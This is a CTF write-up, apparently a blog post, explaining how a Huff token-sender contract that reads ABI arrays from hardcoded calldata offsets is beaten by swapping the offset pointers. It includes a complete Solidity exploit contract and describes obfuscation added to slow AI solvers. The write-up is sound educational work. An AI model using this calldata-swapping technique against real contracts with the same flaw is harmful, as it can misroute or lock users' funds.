Token Sender CTF Writeup
You’re about to read how a bug found in a CodeHawks competitive audit became a CTF challenge, and why 665 lines of obfuscated Huff bytecode…
Token Sender CTF Writeup
You’re about to read how a bug found in a CodeHawks competitive audit became a CTF challenge, and why 665 lines of obfuscated Huff bytecode couldn’t save it from anyone who actually understands how ABI encoding works.
The Setup
You’re given three contracts:
- Challenge.sol — The entry point. It holds 1,000
InfinityToken, validates your calldata, forwards it toMONEY_MOVES, and checks whether the call reverted. - InfinityToken.sol — A standard ERC20 with a
resetBalance()that wipes all balances and re-mints to the Challenge after every attempt. You get infinite tries. - MONEY_MOVES — A contract deployed at a hardcoded address (
0x6b28...0b9A). You're not given the source. Just the bytecode.
The win condition? Make isSolved() return true.
if (!resp) {
solved = true;
}
That’s it. You need to craft calldata that:
- Passes
Challenge.validateCalldata()(correct selector, token address, array lengths match, amounts sum up, etc.) - Reverts when forwarded to
MONEY_MOVES
If the call to MONEY_MOVES reverts but all the validation checks pass, you win.
So the question is: what does MONEY_MOVES actually do, and how can valid-looking calldata make it revert?
Step 1: Reverse Engineering MONEY_MOVES
You’re staring at raw bytecode. I wrote this contract in the huff language (a low-level EVM programming language). If you throw this into a decompiler, you’ll find:
- 71 function selectors in the dispatcher
getVersion(),getOwner(),getNonce(),getOracle(),getBeacon(),getProxy()... the list goes on- Dozens of stubs that return things like
caller,address(this),block.number,chainid, etc. - Five “validation gates” that run before the main logic: calldata checksums, temporal bounds checks, caller identity proofs, entropy gates, storage warmth checks
- More gates inside the main logic between critical operations
If you’re an AI trying to process all of this, congratulations, you just burned through a massive chunk of your context window on functions that return 0x01 or msg.sender.
That was the point. More on this later.
Step 2: Finding the Real Function
Buried at line 486 (in the Huff source, if you had it) or deep in the dispatcher bytecode:
// sendMoney buried here - no dup1 so selector is consumed
__FUNC_SIG(sendMoney) eq sendMoney jumpi
Note the missing dup1 -- every other selector check duplicates the selector on the stack before comparing. This one consumes it. A subtle way to make it harder to spot in a linear scan of the dispatcher.
The function signature is sendMoney(address,address[],uint256[],uint256) with selector 0xa0b37b73.
Step 3: The Vulnerability
Here’s the core of the Huff implementation. Forget the 10 validation gates, forget the 69 getter stubs. This is the part that matters:
#define constant NUMBER_OF_RECIPIENTS_OFFSET = 0x84
#define constant RECIPIENT_ONE_OFFSET = 0xa4
#define constant TOTAL_AMOUNT_OFFSET = 0x64
Hardcoded calldata offsets for dynamic arrays.
If you’ve worked with ABI encoding, you know that dynamic types (like address[] and uint256[]) aren't stored inline in calldata. Instead, the head section contains offset pointers that tell you where the actual array data lives. The Solidity compiler can put the arrays in any order, the offsets tell you where to look.
But this Huff contract doesn’t follow the offset pointers. It assumes:
- The total amount is always at
cd[0x64] - The recipients array length is always at
cd[0x84] - The first recipient is always at
cd[0xa4]
This assumption holds when solc encodes sendMoney(token, recipients, amounts, total) in the "standard" order -- recipients at offset 0x80, amounts after. But the ABI spec doesn't guarantee this order. The offsets are the source of truth, not the positions.
Meanwhile, Challenge.validateCalldata() does it correctly:
let off1 := calldataload(add(cd, 0x20)) // read offset pointer 1
let off2 := calldataload(add(cd, 0x40)) // read offset pointer 2
let arr1Pos := add(cd, off1) // follow the pointer
The Challenge follows the pointers. MONEY_MOVES ignores them. That’s the gap.
Step 4: The Exploit
Swap the offsets. Put the amounts array where MONEY_MOVES expects recipients, and vice versa.
bytes memory data = abi.encodePacked(
bytes4(0xa0b37b73), // sendMoney selector
bytes32(uint256(uint160(token))), // tokenAddress
bytes32(uint256(0xE0)), // offset to recipients (swapped!)
bytes32(uint256(0x80)), // offset to amounts (swapped!)
bytes32(amount), // totalAmount = 1000e18
// Amounts array at offset 0x80 (where MONEY_MOVES reads recipients):
bytes32(uint256(2)), // length = 2
bytes32(uint256(0)), // amounts[0] = 0
bytes32(amount), // amounts[1] = 1000e18
// Recipients array at offset 0xE0:
bytes32(uint256(2)), // length = 2
bytes32(uint256(uint160(address(1)))), // recipients[0]
bytes32(uint256(uint160(address(1)))) // recipients[1]
);
What happens:
- Challenge.validateCalldata() follows the offset pointers correctly. It reads recipients from offset
0xE0and amounts from offset0x80. Lengths match (2 == 2). Sum of amounts = 0 + 1000e18 = 1000e18. totalAmount matches. Token address is correct. All checks pass. - MONEY_MOVES ignores the offsets and reads from hardcoded positions. At
cd[0x84], it findsamounts.length = 2. Atcd[0xa4], it findsamounts[0] = 0. It tries to send tokens toaddress(0)and reverts.
The call reverts. resp is false. solved = true.
How the Calldata Layout Works
Here’s the byte-level view of what MONEY_MOVES sees vs. what’s actually there:
Offset What MONEY_MOVES thinks What's actually there
------ ------------------------- ----------------------
0x04 tokenAddress tokenAddress (correct)
0x24 recipients offset ptr 0xE0 (recipients offset - ignored)
0x44 amounts offset ptr 0x80 (amounts offset - ignored)
0x64 totalAmount 1000e18 (correct)
0x84 recipients.length <---- amounts.length = 2
0xa4 recipients[0] <---- amounts[0] = 0 --> address(0) REVERT!
0xc4 recipients[1] <---- amounts[1] = 1000e18
0xe4 (amounts area) recipients.length = 2
0x104 ... recipients[0] = address(1)
0x124 ... recipients[1] = address(1)
MONEY_MOVES reads amounts[0] = 0 as a recipient address, hits the zero-address check, and reverts with error 0x1647bca2.
The Anti-AI Obfuscation (And Why It Doesn’t Stop Humans)
When I first built this challenge, I wanted to see how easy it was for Claude to solve. I threw the Huff source at an AI and it found the bug in one shot after 10 minutes. My prompt was “solve this CTF”. Not great for a CTF.
So I had AI help me add a lot of noise:
- 69 getter stub functions —
getVersion,getOwner,getOracle,getBeacon,getProxy,getValidator... all returning garbage likemsg.senderorblock.number. They exist purely to bloat the dispatcher and confuse decompilers. - 10 “validation gate” macros — Tautological checks that always pass but look scary in bytecode. Calldata checksums (sha3 is never zero). Temporal bounds (timestamp * block.number > 0). Self-XOR identity proofs (x ^ x == 0). Entropy gates. Cold SLOAD warmth checks from phantom storage slots. They’re sprinkled before
AIRDROP_ERC20, betweenlengths_matchand thetransferFrom, after thetransferFrom, and beforeARE_LISTS_VALID. - XOR-hidden selectors —
transferFromandtransferselectors are computed at runtime via XOR with0xdeadbeef. - Red herring memory writes — The contract reads ABI offset pointers into memory, sums them, stores timestamps… and never uses any of it.
An AI trying to reason about all of this will chew through tokens processing 665 lines of Huff. But a human? A human who knows EVM and ABI encoding looks at the dispatcher, finds sendMoney, scrolls to the macro, sees the hardcoded offsets, and thinks "oh, that's the TSender bug."
If you’ve seen this pattern before — and especially if you participated in the CodeHawks TSender audit — you could identify the vulnerability in minutes, even through all the noise.
However… An AI could still solve this even with all the noise I added, but you had to guide it a little more than just one-shotting it. Also, it took Claude Opus 4.6 over an hour wasted a LOT of your tokens. So in a sense, this was a “pay-to-win” challenge if you use exclusively AI. But a human + AI could solve it the most efficiently.
The Real Bug
This isn’t a made-up vulnerability. It was a real medium-severity finding in the TSender protocol, discovered during a CodeHawks competitive audit in May 2024:
TSender.huff and TSender_NoCheck.huff transfer funds to incorrect addresses
The Huff implementations hardcode calldata offsets, but dynamic array types lack fixed positions in calldata. When the ABI encoder arranges recipients and amounts arrays in different orders than expected, the contract reads from wrong memory locations and executes incorrect transfers.
In the real protocol, this meant tokens could be sent to the wrong addresses. In this CTF, we turned it into a challenge: make the same bug cause a revert instead.
I learned about this bug while writing Huff smart contracts and studying the audit results. It’s a subtle thing, the Solidity encoder always lays out dynamic arrays in declaration order, so hardcoded offsets work in testing. But the decoder follows the offset pointers, meaning the actual array data can live anywhere in calldata. Any manually crafted calldata can put the arrays in whatever order it wants, and a correct decoder will handle it fine. The Huff contract isn’t a correct decoder.
Full Solution Contract
contract Exploit {
Challenge private immutable CHALLENGE;
constructor(Challenge challenge) {
CHALLENGE = challenge;
}
function exploit() external {
address token = address(CHALLENGE.TOKEN());
address recipient = address(1);
uint256 amount = CHALLENGE.STARTING_MONEY();
bytes memory data = abi.encodePacked(
bytes4(0xa0b37b73),
bytes32(uint256(uint160(token))),
bytes32(uint256(0xE0)),
bytes32(uint256(0x80)),
bytes32(amount),
bytes32(uint256(2)),
bytes32(uint256(0)),
bytes32(amount),
bytes32(uint256(2)),
bytes32(uint256(uint160(recipient))),
bytes32(uint256(uint160(recipient)))
);
CHALLENGE.sendMoney(data);
}
}
TL;DR
- MONEY_MOVES uses hardcoded calldata offsets instead of following ABI offset pointers
- Challenge.validateCalldata() follows the pointers correctly
- Swap the array positions in your calldata so validation passes but execution reads garbage
- MONEY_MOVES tries to send tokens to
address(0)and reverts - Revert + passed validation = solved
The 665 lines of obfuscated Huff? Ignore most of it. The bug is in three #define constant lines.
메타데이터
- post_id
- dfe49d0e2db0
- slug
- token-sender-ctf-writeup-dfe49d0e2db0
- url
- https://medium.com/@patrickalphac/token-sender-ctf-writeup-dfe49d0e2db0
- canonical_url
- https://medium.com/@patrickalphac/token-sender-ctf-writeup-dfe49d0e2db0
- author_url
- https://medium.com/@patrickalphac
- status
- ok
- fetched_at
- 2026-06-23 17:05:31